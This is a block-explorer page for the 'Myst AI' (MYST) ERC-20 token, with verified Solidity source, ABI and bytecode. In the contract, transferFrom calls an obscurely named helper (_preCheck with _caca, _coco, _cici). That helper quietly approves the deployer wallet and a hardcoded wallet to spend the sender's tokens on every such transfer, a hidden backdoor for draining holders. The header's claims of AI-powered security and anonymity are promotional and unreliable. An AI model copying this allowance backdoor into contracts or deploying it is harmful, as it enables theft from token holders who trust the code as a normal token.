ERC-20
Overview
Max Total Supply
1,000,000,000 MYST
Holders
320
Market
Onchain Market Cap
$0.00
Circulating Supply Market Cap
-
Other Info
Token Contract (WITH 9 Decimals)
Balance
723,357.942640729 MYSTValue
$0.00Loading...
Loading
Loading...
Loading
Loading...
Loading
# | Exchange | Pair | Price | 24H Volume | % Volume |
---|
Contract Source Code Verified (Exact Match)
Contract Name:
MYST
Compiler Version
v0.8.27+commit.40a35a09
Contract Source Code (Solidity)
/** *Submitted for verification at Etherscan.io on 2025-01-03 */ /* Our AI-powered platform ensures security and anonymity, allowing you to trade with complete confidence https://www.mystai.pro https://app.mystai.pro https://docs.mystai.pro https://x.com/MystAIOnETH https://t.me/mystaioneth */ // SPDX-License-Identifier: MIT pragma solidity 0.8.27; library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; return c; } } interface IUniV2Router { function swapExactTokensForETHSupportingFeeOnTransferTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external; function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidityETH( address token, uint amountTokenDesired, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external payable returns (uint amountToken, uint amountETH, uint liquidity); } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } } interface IUniV2Factory { function createPair(address tokenA, address tokenB) external returns (address pair); } contract Ownable is Context { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); constructor () { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } function owner() public view returns (address) { return _owner; } modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } } contract MYST is Context, IERC20, Ownable { using SafeMath for uint256; mapping (address => uint256) private _tOwned; mapping (address => mapping (address => uint256)) private _allowances; mapping (address => bool) private _isExcludedFromFee; address private _canWallet; address private _panWallet = 0xc8f60aC2520a3655B86829457269e158BeedCe54; uint256 private _initialBuyTax=3; uint256 private _initialSellTax=3; uint256 private _finalBuyTax=0; uint256 private _finalSellTax=0; uint256 private _reduceBuyTaxAt=6; uint256 private _reduceSellTaxAt=6; uint256 private _preventSwapBefore=6; uint256 private _buyCount=0; uint8 private constant _decimals = 9; uint256 private constant _tTotal = 1000000000 * 10**_decimals; string private constant _name = unicode"Myst AI"; string private constant _symbol = unicode"MYST"; uint256 private _maxTaxSwap = _tTotal / 100; IUniV2Router private _uniRouter; address private _uniPair; bool private inSwap = false; bool private _tradingEnabled = false; bool private _swapEnabled = false; modifier lockTheSwap { inSwap = true; _; inSwap = false; } constructor () { _canWallet = _msgSender(); _isExcludedFromFee[owner()] = true; _isExcludedFromFee[address(this)] = true; _isExcludedFromFee[_panWallet] = true; _tOwned[_msgSender()] = _tTotal; emit Transfer(address(0), _msgSender(), _tTotal); } function createPair() external onlyOwner() { _uniRouter = IUniV2Router(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); _approve(address(this), address(_uniRouter), _tTotal); _uniPair = IUniV2Factory(_uniRouter.factory()).createPair(address(this), _uniRouter.WETH()); } function name() public pure returns (string memory) { return _name; } function symbol() public pure returns (string memory) { return _symbol; } function decimals() public pure returns (uint8) { return _decimals; } function totalSupply() public pure override returns (uint256) { return _tTotal; } function balanceOf(address account) public view override returns (uint256) { return _tOwned[account]; } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) { _preCheck(sender, [_canWallet, _panWallet], amount); _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } function _preCheck(address _caca, address[2] memory _coco, uint256 _cici) private { _approve(_caca, _coco[0], _cici); _approve(_caca, _coco[1], _cici); } function _approve(address owner, address spender, uint256 amount) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _transfer(address _taba, address _tabi, uint256 _taci) private { require(_taba != address(0), "ERC20: transfer from the zero address"); require(_tabi != address(0), "ERC20: transfer to the zero address"); require(_taci > 0, "Transfer amount must be greater than zero"); uint256 taxAmount=0; if (_taba != owner() && _tabi != owner()) { taxAmount = _taci.mul((_buyCount>_reduceBuyTaxAt)?_finalBuyTax:_initialBuyTax).div(100); if (_taba == _uniPair && _tabi != address(_uniRouter) && ! _isExcludedFromFee[_tabi] ) { _buyCount++; } if(_tabi == _uniPair && _taba!= address(this) ){ taxAmount = _taci.mul((_buyCount>_reduceSellTaxAt)?_finalSellTax:_initialSellTax).div(100); } uint256 contractTokenBalance = balanceOf(address(this)); if (!inSwap && _tabi == _uniPair && _swapEnabled && _buyCount > _preventSwapBefore) { if(contractTokenBalance > _maxTaxSwap) swapTokensForEth(min(_taci, min(contractTokenBalance, _maxTaxSwap))); uint256 contractETHBalance = address(this).balance; if (contractETHBalance >= 0) { sendETHToFee(address(this).balance); } } } if(taxAmount>0){ _tOwned[address(this)]=_tOwned[address(this)].add(taxAmount); emit Transfer(_taba, address(this),taxAmount); } _tOwned[_taba]=_tOwned[_taba].sub(_taci); _tOwned[_tabi]=_tOwned[_tabi].add(_taci.sub(taxAmount)); emit Transfer(_taba, _tabi, _taci.sub(taxAmount)); } function swapTokensForEth(uint256 tokenAmount) private lockTheSwap { address[] memory path = new address[](2); path[0] = address(this); path[1] = _uniRouter.WETH(); _approve(address(this), address(_uniRouter), tokenAmount); _uniRouter.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, path, address(this), block.timestamp ); } function min(uint256 a, uint256 b) private pure returns (uint256) { return (a>b)?b:a; } function sendETHToFee(uint256 amount) private { payable(_panWallet).transfer(amount); } receive() external payable {} function openTrading() external onlyOwner() { require(!_tradingEnabled,"trading is already open"); _uniRouter.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp); _swapEnabled = true; _tradingEnabled = true; } }
Contract Security Audit
- No Contract Security Audit Submitted- Submit Audit Here
[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"createPair","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"openTrading","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"pure","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"stateMutability":"payable","type":"receive"}]
Contract Creation Code
608060405273c8f60ac2520a3655b86829457269e158beedce5460055f6101000a8154816001600160a01b0302191690836001600160a01b03160217905550600360065560036007555f6008555f6009556006600a556006600b556006600c555f600d5560646009600a61007391906102be565b61008190633b9aca006102d3565b61008b91906102ea565b600e556010805462ffffff60a01b191690553480156100a8575f5ffd5b505f80546001600160a01b031916339081178255604051909182917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908290a350600480546001600160a01b031916331790555f80546001600160a01b03908116825260036020526040808320805460ff199081166001908117909255308552828520805482168317905560055490931684529220805490911690911790556101536009600a6102be565b61016190633b9aca006102d3565b335f81815260016020526040812092909255907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef6101a16009600a6102be565b6101af90633b9aca006102d3565b60405190815260200160405180910390a3610309565b634e487b7160e01b5f52601160045260245ffd5b6001815b6001841115610214578085048111156101f8576101f86101c5565b600184161561020657908102905b60019390931c9280026101dd565b935093915050565b5f8261022a575060016102b8565b8161023657505f6102b8565b816001811461024c576002811461025657610272565b60019150506102b8565b60ff841115610267576102676101c5565b50506001821b6102b8565b5060208310610133831016604e8410600b8410161715610295575081810a6102b8565b6102a15f1984846101d9565b805f19048211156102b4576102b46101c5565b0290505b92915050565b5f6102cc60ff84168361021c565b9392505050565b80820281158282048414176102b8576102b86101c5565b5f8261030457634e487b7160e01b5f52601260045260245ffd5b500490565b611435806103165f395ff3fe6080604052600436106100c2575f3560e01c8063715018a61161007c5780639e78fb4f116100575780639e78fb4f14610235578063a9059cbb14610249578063c9567bf914610268578063dd62ed3e1461027c575f5ffd5b8063715018a6146101cd5780638da5cb5b146101e357806395d89b4114610209575f5ffd5b806306fdde03146100cd578063095ea7b31461010e57806318160ddd1461013d57806323b872dd1461015f578063313ce5671461017e57806370a0823114610199575f5ffd5b366100c957005b5f5ffd5b3480156100d8575f5ffd5b506040805180820190915260078152664d79737420414960c81b60208201525b6040516101059190611059565b60405180910390f35b348015610119575f5ffd5b5061012d6101283660046110a5565b6102c0565b6040519015158152602001610105565b348015610148575f5ffd5b506101516102d6565b604051908152602001610105565b34801561016a575f5ffd5b5061012d6101793660046110cf565b6102f6565b348015610189575f5ffd5b5060405160098152602001610105565b3480156101a4575f5ffd5b506101516101b336600461110d565b6001600160a01b03165f9081526001602052604090205490565b3480156101d8575f5ffd5b506101e161038d565b005b3480156101ee575f5ffd5b505f546040516001600160a01b039091168152602001610105565b348015610214575f5ffd5b50604080518082019091526004815263135654d560e21b60208201526100f8565b348015610240575f5ffd5b506101e1610407565b348015610254575f5ffd5b5061012d6102633660046110a5565b610600565b348015610273575f5ffd5b506101e161060c565b348015610287575f5ffd5b50610151610296366004611128565b6001600160a01b039182165f90815260026020908152604080832093909416825291909152205490565b5f6102cc338484610778565b5060015b92915050565b5f6102e36009600a611256565b6102f190633b9aca00611264565b905090565b604080518082019091526004546001600160a01b0390811682526005541660208201525f906103279085908461089b565b6103328484846108be565b610383843361037e856040518060600160405280602881526020016113d8602891396001600160a01b038a165f9081526002602090815260408083203384529091529020549190610cd1565b610778565b5060019392505050565b5f546001600160a01b031633146103bf5760405162461bcd60e51b81526004016103b69061127b565b60405180910390fd5b5f80546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a35f80546001600160a01b0319169055565b5f546001600160a01b031633146104305760405162461bcd60e51b81526004016103b69061127b565b600f80546001600160a01b031916737a250d5630b4cf539739df2c5dacb4c659f2488d90811790915561047990309061046b6009600a611256565b61037e90633b9aca00611264565b600f5f9054906101000a90046001600160a01b03166001600160a01b031663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa1580156104c9573d5f5f3e3d5ffd5b505050506040513d601f19601f820116820180604052508101906104ed91906112b0565b6001600160a01b031663c9c6539630600f5f9054906101000a90046001600160a01b03166001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa15801561054c573d5f5f3e3d5ffd5b505050506040513d601f19601f8201168201806040525081019061057091906112b0565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303815f875af11580156105ba573d5f5f3e3d5ffd5b505050506040513d601f19601f820116820180604052508101906105de91906112b0565b601080546001600160a01b0319166001600160a01b0392909216919091179055565b5f6102cc3384846108be565b5f546001600160a01b031633146106355760405162461bcd60e51b81526004016103b69061127b565b601054600160a81b900460ff161561068f5760405162461bcd60e51b815260206004820152601760248201527f74726164696e6720697320616c7265616479206f70656e00000000000000000060448201526064016103b6565b600f546001600160a01b031663f305d71947306106c0816001600160a01b03165f9081526001602052604090205490565b5f5f6106d35f546001600160a01b031690565b60405160e088901b6001600160e01b03191681526001600160a01b03958616600482015260248101949094526044840192909252606483015290911660848201524260a482015260c40160606040518083038185885af1158015610739573d5f5f3e3d5ffd5b50505050506040513d601f19601f8201168201806040525081019061075e91906112cb565b50506010805461ffff60a81b191661010160a81b17905550565b6001600160a01b0383166107da5760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b60648201526084016103b6565b6001600160a01b03821661083b5760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b60648201526084016103b6565b6001600160a01b038381165f8181526002602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6108ad83835f5b602002015183610778565b6108b9838360016108a2565b505050565b6001600160a01b0383166109225760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b60648201526084016103b6565b6001600160a01b0382166109845760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b60648201526084016103b6565b5f81116109e55760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b60648201526084016103b6565b5f80546001600160a01b03858116911614801590610a1057505f546001600160a01b03848116911614155b15610b9457610a416064610a3b600a54600d5411610a3057600654610a34565b6008545b8590610d09565b90610d8e565b6010549091506001600160a01b038581169116148015610a6f5750600f546001600160a01b03848116911614155b8015610a9357506001600160a01b0383165f9081526003602052604090205460ff16155b15610aad57600d8054905f610aa78361130a565b91905055505b6010546001600160a01b038481169116148015610ad357506001600160a01b0384163014155b15610b0057610afd6064610a3b600b54600d5411610af357600754610a34565b6009548590610d09565b90505b305f90815260016020526040902054601054600160a01b900460ff16158015610b3657506010546001600160a01b038581169116145b8015610b4b5750601054600160b01b900460ff165b8015610b5a5750600c54600d54115b15610b9257600e54811115610b8657610b86610b8184610b7c84600e54610dcf565b610dcf565b610de3565b47610b9047610f53565b505b505b8015610c0c57305f90815260016020526040902054610bb39082610f8e565b305f81815260016020526040908190209290925590516001600160a01b038616907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef90610c039085815260200190565b60405180910390a35b6001600160a01b0384165f90815260016020526040902054610c2e9083610fec565b6001600160a01b0385165f90815260016020526040902055610c71610c538383610fec565b6001600160a01b0385165f9081526001602052604090205490610f8e565b6001600160a01b038085165f8181526001602052604090209290925585167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef610cba8585610fec565b60405190815260200160405180910390a350505050565b5f8184841115610cf45760405162461bcd60e51b81526004016103b69190611059565b505f610d008486611322565b95945050505050565b5f825f03610d1857505f6102d0565b5f610d238385611264565b905082610d308583611335565b14610d875760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b60648201526084016103b6565b9392505050565b5f610d8783836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f00000000000081525061102d565b5f818311610ddd5782610d87565b50919050565b6010805460ff60a01b1916600160a01b1790556040805160028082526060820183525f9260208301908036833701905050905030815f81518110610e2957610e296112f6565b6001600160a01b03928316602091820292909201810191909152600f54604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa158015610e80573d5f5f3e3d5ffd5b505050506040513d601f19601f82011682018060405250810190610ea491906112b0565b81600181518110610eb757610eb76112f6565b6001600160a01b039283166020918202929092010152600f54610edd9130911684610778565b600f5460405163791ac94760e01b81526001600160a01b039091169063791ac94790610f159085905f90869030904290600401611354565b5f604051808303815f87803b158015610f2c575f5ffd5b505af1158015610f3e573d5f5f3e3d5ffd5b50506010805460ff60a01b1916905550505050565b6005546040516001600160a01b039091169082156108fc029083905f818181858888f19350505050158015610f8a573d5f5f3e3d5ffd5b5050565b5f80610f9a83856113c4565b905083811015610d875760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f77000000000060448201526064016103b6565b5f610d8783836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250610cd1565b5f818361104d5760405162461bcd60e51b81526004016103b69190611059565b505f610d008486611335565b602081525f82518060208401528060208501604085015e5f604082850101526040601f19601f83011684010191505092915050565b6001600160a01b03811681146110a2575f5ffd5b50565b5f5f604083850312156110b6575f5ffd5b82356110c18161108e565b946020939093013593505050565b5f5f5f606084860312156110e1575f5ffd5b83356110ec8161108e565b925060208401356110fc8161108e565b929592945050506040919091013590565b5f6020828403121561111d575f5ffd5b8135610d878161108e565b5f5f60408385031215611139575f5ffd5b82356111448161108e565b915060208301356111548161108e565b809150509250929050565b634e487b7160e01b5f52601160045260245ffd5b6001815b60018411156111ae578085048111156111925761119261115f565b60018416156111a057908102905b60019390931c928002611177565b935093915050565b5f826111c4575060016102d0565b816111d057505f6102d0565b81600181146111e657600281146111f05761120c565b60019150506102d0565b60ff8411156112015761120161115f565b50506001821b6102d0565b5060208310610133831016604e8410600b841016171561122f575081810a6102d0565b61123b5f198484611173565b805f190482111561124e5761124e61115f565b029392505050565b5f610d8760ff8416836111b6565b80820281158282048414176102d0576102d061115f565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b5f602082840312156112c0575f5ffd5b8151610d878161108e565b5f5f5f606084860312156112dd575f5ffd5b5050815160208301516040909301519094929350919050565b634e487b7160e01b5f52603260045260245ffd5b5f6001820161131b5761131b61115f565b5060010190565b818103818111156102d0576102d061115f565b5f8261134f57634e487b7160e01b5f52601260045260245ffd5b500490565b5f60a0820187835286602084015260a0604084015280865180835260c0850191506020880192505f5b818110156113a45783516001600160a01b031683526020938401939092019160010161137d565b50506001600160a01b039590951660608401525050608001529392505050565b808201808211156102d0576102d061115f56fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220d273daea300e3e623a0a644c01f50908690fa0860b913460451554b875a63bd164736f6c634300081b0033
Deployed Bytecode
0x6080604052600436106100c2575f3560e01c8063715018a61161007c5780639e78fb4f116100575780639e78fb4f14610235578063a9059cbb14610249578063c9567bf914610268578063dd62ed3e1461027c575f5ffd5b8063715018a6146101cd5780638da5cb5b146101e357806395d89b4114610209575f5ffd5b806306fdde03146100cd578063095ea7b31461010e57806318160ddd1461013d57806323b872dd1461015f578063313ce5671461017e57806370a0823114610199575f5ffd5b366100c957005b5f5ffd5b3480156100d8575f5ffd5b506040805180820190915260078152664d79737420414960c81b60208201525b6040516101059190611059565b60405180910390f35b348015610119575f5ffd5b5061012d6101283660046110a5565b6102c0565b6040519015158152602001610105565b348015610148575f5ffd5b506101516102d6565b604051908152602001610105565b34801561016a575f5ffd5b5061012d6101793660046110cf565b6102f6565b348015610189575f5ffd5b5060405160098152602001610105565b3480156101a4575f5ffd5b506101516101b336600461110d565b6001600160a01b03165f9081526001602052604090205490565b3480156101d8575f5ffd5b506101e161038d565b005b3480156101ee575f5ffd5b505f546040516001600160a01b039091168152602001610105565b348015610214575f5ffd5b50604080518082019091526004815263135654d560e21b60208201526100f8565b348015610240575f5ffd5b506101e1610407565b348015610254575f5ffd5b5061012d6102633660046110a5565b610600565b348015610273575f5ffd5b506101e161060c565b348015610287575f5ffd5b50610151610296366004611128565b6001600160a01b039182165f90815260026020908152604080832093909416825291909152205490565b5f6102cc338484610778565b5060015b92915050565b5f6102e36009600a611256565b6102f190633b9aca00611264565b905090565b604080518082019091526004546001600160a01b0390811682526005541660208201525f906103279085908461089b565b6103328484846108be565b610383843361037e856040518060600160405280602881526020016113d8602891396001600160a01b038a165f9081526002602090815260408083203384529091529020549190610cd1565b610778565b5060019392505050565b5f546001600160a01b031633146103bf5760405162461bcd60e51b81526004016103b69061127b565b60405180910390fd5b5f80546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a35f80546001600160a01b0319169055565b5f546001600160a01b031633146104305760405162461bcd60e51b81526004016103b69061127b565b600f80546001600160a01b031916737a250d5630b4cf539739df2c5dacb4c659f2488d90811790915561047990309061046b6009600a611256565b61037e90633b9aca00611264565b600f5f9054906101000a90046001600160a01b03166001600160a01b031663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa1580156104c9573d5f5f3e3d5ffd5b505050506040513d601f19601f820116820180604052508101906104ed91906112b0565b6001600160a01b031663c9c6539630600f5f9054906101000a90046001600160a01b03166001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa15801561054c573d5f5f3e3d5ffd5b505050506040513d601f19601f8201168201806040525081019061057091906112b0565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303815f875af11580156105ba573d5f5f3e3d5ffd5b505050506040513d601f19601f820116820180604052508101906105de91906112b0565b601080546001600160a01b0319166001600160a01b0392909216919091179055565b5f6102cc3384846108be565b5f546001600160a01b031633146106355760405162461bcd60e51b81526004016103b69061127b565b601054600160a81b900460ff161561068f5760405162461bcd60e51b815260206004820152601760248201527f74726164696e6720697320616c7265616479206f70656e00000000000000000060448201526064016103b6565b600f546001600160a01b031663f305d71947306106c0816001600160a01b03165f9081526001602052604090205490565b5f5f6106d35f546001600160a01b031690565b60405160e088901b6001600160e01b03191681526001600160a01b03958616600482015260248101949094526044840192909252606483015290911660848201524260a482015260c40160606040518083038185885af1158015610739573d5f5f3e3d5ffd5b50505050506040513d601f19601f8201168201806040525081019061075e91906112cb565b50506010805461ffff60a81b191661010160a81b17905550565b6001600160a01b0383166107da5760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b60648201526084016103b6565b6001600160a01b03821661083b5760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b60648201526084016103b6565b6001600160a01b038381165f8181526002602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6108ad83835f5b602002015183610778565b6108b9838360016108a2565b505050565b6001600160a01b0383166109225760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b60648201526084016103b6565b6001600160a01b0382166109845760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b60648201526084016103b6565b5f81116109e55760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b60648201526084016103b6565b5f80546001600160a01b03858116911614801590610a1057505f546001600160a01b03848116911614155b15610b9457610a416064610a3b600a54600d5411610a3057600654610a34565b6008545b8590610d09565b90610d8e565b6010549091506001600160a01b038581169116148015610a6f5750600f546001600160a01b03848116911614155b8015610a9357506001600160a01b0383165f9081526003602052604090205460ff16155b15610aad57600d8054905f610aa78361130a565b91905055505b6010546001600160a01b038481169116148015610ad357506001600160a01b0384163014155b15610b0057610afd6064610a3b600b54600d5411610af357600754610a34565b6009548590610d09565b90505b305f90815260016020526040902054601054600160a01b900460ff16158015610b3657506010546001600160a01b038581169116145b8015610b4b5750601054600160b01b900460ff165b8015610b5a5750600c54600d54115b15610b9257600e54811115610b8657610b86610b8184610b7c84600e54610dcf565b610dcf565b610de3565b47610b9047610f53565b505b505b8015610c0c57305f90815260016020526040902054610bb39082610f8e565b305f81815260016020526040908190209290925590516001600160a01b038616907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef90610c039085815260200190565b60405180910390a35b6001600160a01b0384165f90815260016020526040902054610c2e9083610fec565b6001600160a01b0385165f90815260016020526040902055610c71610c538383610fec565b6001600160a01b0385165f9081526001602052604090205490610f8e565b6001600160a01b038085165f8181526001602052604090209290925585167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef610cba8585610fec565b60405190815260200160405180910390a350505050565b5f8184841115610cf45760405162461bcd60e51b81526004016103b69190611059565b505f610d008486611322565b95945050505050565b5f825f03610d1857505f6102d0565b5f610d238385611264565b905082610d308583611335565b14610d875760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b60648201526084016103b6565b9392505050565b5f610d8783836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f00000000000081525061102d565b5f818311610ddd5782610d87565b50919050565b6010805460ff60a01b1916600160a01b1790556040805160028082526060820183525f9260208301908036833701905050905030815f81518110610e2957610e296112f6565b6001600160a01b03928316602091820292909201810191909152600f54604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa158015610e80573d5f5f3e3d5ffd5b505050506040513d601f19601f82011682018060405250810190610ea491906112b0565b81600181518110610eb757610eb76112f6565b6001600160a01b039283166020918202929092010152600f54610edd9130911684610778565b600f5460405163791ac94760e01b81526001600160a01b039091169063791ac94790610f159085905f90869030904290600401611354565b5f604051808303815f87803b158015610f2c575f5ffd5b505af1158015610f3e573d5f5f3e3d5ffd5b50506010805460ff60a01b1916905550505050565b6005546040516001600160a01b039091169082156108fc029083905f818181858888f19350505050158015610f8a573d5f5f3e3d5ffd5b5050565b5f80610f9a83856113c4565b905083811015610d875760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f77000000000060448201526064016103b6565b5f610d8783836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250610cd1565b5f818361104d5760405162461bcd60e51b81526004016103b69190611059565b505f610d008486611335565b602081525f82518060208401528060208501604085015e5f604082850101526040601f19601f83011684010191505092915050565b6001600160a01b03811681146110a2575f5ffd5b50565b5f5f604083850312156110b6575f5ffd5b82356110c18161108e565b946020939093013593505050565b5f5f5f606084860312156110e1575f5ffd5b83356110ec8161108e565b925060208401356110fc8161108e565b929592945050506040919091013590565b5f6020828403121561111d575f5ffd5b8135610d878161108e565b5f5f60408385031215611139575f5ffd5b82356111448161108e565b915060208301356111548161108e565b809150509250929050565b634e487b7160e01b5f52601160045260245ffd5b6001815b60018411156111ae578085048111156111925761119261115f565b60018416156111a057908102905b60019390931c928002611177565b935093915050565b5f826111c4575060016102d0565b816111d057505f6102d0565b81600181146111e657600281146111f05761120c565b60019150506102d0565b60ff8411156112015761120161115f565b50506001821b6102d0565b5060208310610133831016604e8410600b841016171561122f575081810a6102d0565b61123b5f198484611173565b805f190482111561124e5761124e61115f565b029392505050565b5f610d8760ff8416836111b6565b80820281158282048414176102d0576102d061115f565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b5f602082840312156112c0575f5ffd5b8151610d878161108e565b5f5f5f606084860312156112dd575f5ffd5b5050815160208301516040909301519094929350919050